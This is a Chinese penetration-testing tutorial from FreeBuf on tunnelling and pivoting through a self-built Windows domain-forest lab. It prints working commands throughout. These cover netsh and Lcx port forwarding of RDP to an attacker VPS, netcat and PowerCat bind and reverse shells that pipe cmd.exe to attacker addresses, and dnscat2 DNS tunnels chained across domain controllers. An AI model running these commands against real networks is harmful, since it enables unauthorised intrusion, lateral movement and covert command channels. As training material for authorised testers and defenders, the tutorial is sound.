freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基内网篇:域森林中多级域通信隧道(上)
2021-03-09 15:35:47

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。

如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。

跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:

社工钓鱼 -> 免杀过全杀软 -> 内网渗透

那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。

通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:

域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器

通过该思路进攻即可,还有另外一条思路:

域普通用户 -> 10.10.21.0/24二级区域 -> 继续延伸

渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,那么我需要把进行隐藏通信隧道技术,通过各种方法将内网的流量代理出来进一步的渗透。

不会隐藏通信隧道技术,就无法对内网多级网络进行进一步的渗透!!

二、环境介绍

目前信息收集获得的网络情况:(模拟环境)

拓扑图简介
1615296403_604777937648edfdcb438.png!small?1615296404415

为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:

单篇:渗透测试之地基内网篇:域森林大型环境搭建

通过拓扑图可知道,对方目前都是windows系统,那么接下来将演示windows环境下通信隧道技术!

三、netsh端口隧道

netsh 是 windows 系统自带的一个命令行工具,这个工具可以内置中端口转发功能。而且自带命令是过免杀的!!

那么将利用windows自带的端口转发netsh interface portproxy通过这个小工具在代理服务器设置端口转发!

1、普通域用户netsh

通过netsh进行端口转发:

netsh interface portproxy add v4tov4 listenport=7777 connectaddress=10.10.3.6 connectport=3389

netsh interface portproxy add v4tov4 listenport=绑定的端口 connectaddress=被攻击者服务器ip connectport=被攻击者服务端口

netsh interface portproxy show all
#查看转发规则

1615296411_6047779b3b3e97bbfb05f.png!small?1615296411709可看到windwos自带的netsh进行流量代理,将10.10.3.6子域控制器3389建立端口代理隧道!

2、测试隧道

1615296417_604777a137e83393f37f1.png!small?1615296418566可看到,通过netsh端口转发后,访问域用户名的外网IP+7777端口即可访问到内网的子域控制器的对应端口,进行渗透了~

3、拓展思路

如果二级域内或者二级内网环境,存在web等页面以及高危端口,可以通过端口转发进行内网渗透,如果web端口代理后,可以利用BurpSuite进行深入的渗透!

四、Lcx端口代理

首先复现最为经典的端口转发工具Lcx,Lcx是一个基于socket套接字实现的端口转发工具。

1、内网端口转发

1)域普通用户:(windows7)

Lcx.exe -slave VPS-IP 51 目标IP 3389 Lcx.exe -slave 192.168.253.11 51 10.10.3.6 3389

1615296425_604777a93aac92e1dcd9d.png!small?1615296425503

在目标机器上执行,将目标机器3389端口的所有数据转发到公网VPS(win7自建系统代替)的51端口上。

2)VPS机器:

Lcx.exe -listen 51  33891

1615296430_604777aedf2b9c75fd890.png!small?1615296431111最后用用mstsc登录公网IP:33891即可连接到目标机器的3389端口(记得在之间把防火墙策略打开或者关闭防火墙,信息收集讲过)

2、测试隧道

1615296436_604777b41f67662e9d1df.png!small?1615296440000通过在VPS机子上进行访问,成功端口代理。

3、思路拓展

如果目标服务器由于防火墙的限制,无法传输3389的数据,可以查看防火墙开放了哪些端口数据允许传输,通过本地端口转发将3389转发到允许的端口上进行:

lcx -tran 53 目标主机IP地址 3389

通过转发到防火墙允许的端口上后,就可以进行端口转发代理出来进行渗透!

五、Netcat

Netcat简单理解就是从网络的一端读取数据,输出到网络的另一端,接下来介绍下端口转发和反弹shell!

1、正向shell

正向:客户端连接服务器,客户端向要获取服务器的Shell

1)域用户计算机执行:

nc64.exe -lvp 4445 -e c:\windows\system32\cmd.exe

1615296444_604777bcc67683c1defbf.png!small?1615296444938

2)VPS(攻击者)执行:

nc64.exe 192.168.253.35 4445

1615296449_604777c171cc1c8c1c899.png!small?1615296450080可看到攻击者计算机交互控制了域控制器!

2、反向shell

反向:客户端连接服务器,服务器想要获取客户端的Shell

反向Shell通常用在开启了防护措施的目标机器上,例如防火墙过滤端口转发等。

1)VPS(攻击者)上执行:
1615296454_604777c61a534524cbc67.png!small?1615296454570

nc64.exe -lvp 5555

2)在域用户机器上执行:
1615296458_604777cad82fdd2dc16a2.png!small?1615296459171

nc64.exe 192.168.253.11 5555 -e c:\windows\system32\cmd.exe

可看到攻击者计算机交互控制了域控制器!

3、内网代理

1)首先VPS中:(攻击者VPS)

nc64.exe -lvp 3333

1615296463_604777cf8a18738832112.png!small?1615296463761

2)接着在域控中执行:(子域控制器)

nc64.exe -lvp 3333 -e c:\windows\system32\cmd.exe

1615296468_604777d41fafd885be3ff.png!small?1615296468430

3)最后在域用户上执行:(win7)

nc64.exe -v 192.168.253.11 3333 -c "nc64.exe -v 10.10.3.6 3333"

1615296472_604777d8913cbc48a79c1.png!small?1615296472883可看到经过测试,NC做内网代理无法实现,是因为目前自带的nc都无法使用-c功能了!!

六、PowerCat隧道代理

PowerCat是nc的powershell版本,PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行。

项目地址:

https://github.com/besimorhino/powercat.git

1、PowerCat文件上传

1)将文件上传至普通域用户计算机中:

Set-ExecutionPolicy remotesigned
Import-Module .\powercat.ps1

1615302277_60478e850c8ac6a5efc77.png!small?1615302277193域用户上执行remotesigned权限开启,并执行ps1

2)查看帮助:
1615302282_60478e8a2f592e062d7c6.png!small?1615302282666参数详解:

-l	监听入站连接
-c	连接目标
-p	连接或监听的端口
-e	返回某个程序
-ep	返回PowerShell
-r	端口转发
-u	通过UDP隧道传输数据
-dns	通过DNS隧道传输数据
-dnsft	DNS失效阈值
-t	超时选项。默认值:60
-i	输入:文件路径(字符串)、字节数组或字符串
-o	控制台输出类型:“主机”、“字节”或“字符串”
-of	输出文件路径
-d	连接后断开
-rep	重新启动
-g	生成有效载荷
-ge	生成编码后的有效载荷
-h	帮助信息

Powercat功能非常的多,我们要在内网旅行也是必备工具之一,可以建立正反向shell、建立DNS隧道、还能将交互shell反弹到Kali攻击设备上,非常的实用,开始!

2、nc正向连接PowerCat

1)域用户计算机执行:

powercat -l -p 6666 -e cmd.exe -v

1615302290_60478e9238d951ecf8ac0.png!small?1615302290348

2)Kali攻击者执行:

netcat 192.168.253.35 6666 -vv

1615302297_60478e995072c4de9dd71.png!small?1615302300060经过测试,稳定性好,成功建立正向shell!!

3、nc反向连接PowerCat

1)Kali攻击者执行:

netcat -l -p 8888 -vv

1615302303_60478e9f9aa65477824fb.png!small?1615302304066

2)域用户计算机执行:

powercat -c 192.168.253.9 -p 8888 -v -e cmd.exe

1615302310_60478ea6412630c54a106.png!small?1615302313135经过测试,稳定性好,成功建立反向shell!!

4、PowerCat建立DNS隧道

owerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat设计的,在使用dnscat之前需要下载和进行编译!

1)Kali攻击者下载:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

1615302316_60478eac253e5996e4d7f.png!small?1615302319683

1615302321_60478eb1112d1e5fe89b7.png!small?1615302324565Kali成功安装,如果需要在windows上安装,需要安装git和ruby即可!

2)Kali攻击者执行:

ruby dnscat2.rb ttpowercat.test -e open --no-cache

1615302325_60478eb5d0105e17b7939.png!small?1615302329659

3)域用户计算机执行:

powercat -c 192.168.253.9 -p 53 -dns ttpowercat.test -e cmd.exe

1615302331_60478ebb4fd239f4f9ea1.png!small?1615302331654

4)Kali攻击者执行:

session -i 1

1615302336_60478ec0224cb16770f0b.png!small?1615302339095可看到执行session会话1即可,成功建立DNS隧道封装交互!

5、PowerCat跳板nc隧道

这里演示二级域环境,假设子域控制器已经拿下控制权限,将子域控制器交互到外网攻击者kali上进行继续的横向渗透!

1)先在子域控制器执行:

powercat -l -v -p 9999 -e cmd.exe

1615302343_60478ec71f9cecaf785e2.png!small?1615302343547

2)接着域用户计算机执行:

powercat -l -v -p 8000 -r tcp:10.10.3.6:9999

1615302348_60478ecc10cfccfd6e33e.png!small?1615302348417

3)最后Kali攻击者执行:

nc 192.168.253.35 8000 -vv

1615302354_60478ed294cdaeddcf76c.png!small?1615302365954成功建立隧道代理,在kali攻击者上进行渗透!

6、PowerCat跳板DNS隧道

也可以使用DNS协议进行多级交互shell

1)先在域用户计算机执行:

powercat -l -v -p 8000 -r dns:192.168.253.9::ttpowercat.test

1615302360_60478ed83db7fede6271e.png!small?1615302365954

2)接着Kali攻击者执行:

ruby dnscat2.rb ttpowercat.test -e open --no-cache

1615302410_60478f0a339787681417d.png!small?1615302413430

3)最后子域控制器执行:

powercat -c 10.10.3.100 -p 8000 -v -e cmd.exe

1615302447_60478f2f75c322f3b4822.png!small?1615302464623

4)Kali攻击者执行:

session -i 1

1615302454_60478f3632b3ba5821bf2.png!small?1615302464623可看到执行session会话1即可,成功建立DNS隧道封装多级交互!

七、总结

今天给大家演示了在简单的一级域环境中建立了netsh和Lcx端口隧道代理,在无法免杀代理工具可以将netsh代理出来进行攻击渗透,还演示了nc最常用的正反向shell的交互方法,以及最后PowerCat的正反向shell、DNS隧道、多级跳板的交互!

接下来在《域森林中多级域通信隧道(下)》中会接触二级、多级内网环境下,如何深入建立在外网攻击机上深入渗透多级内网环境的隧道代理,请看下篇内网旅行多级域环境!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# 域森林 # 通信隧道
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录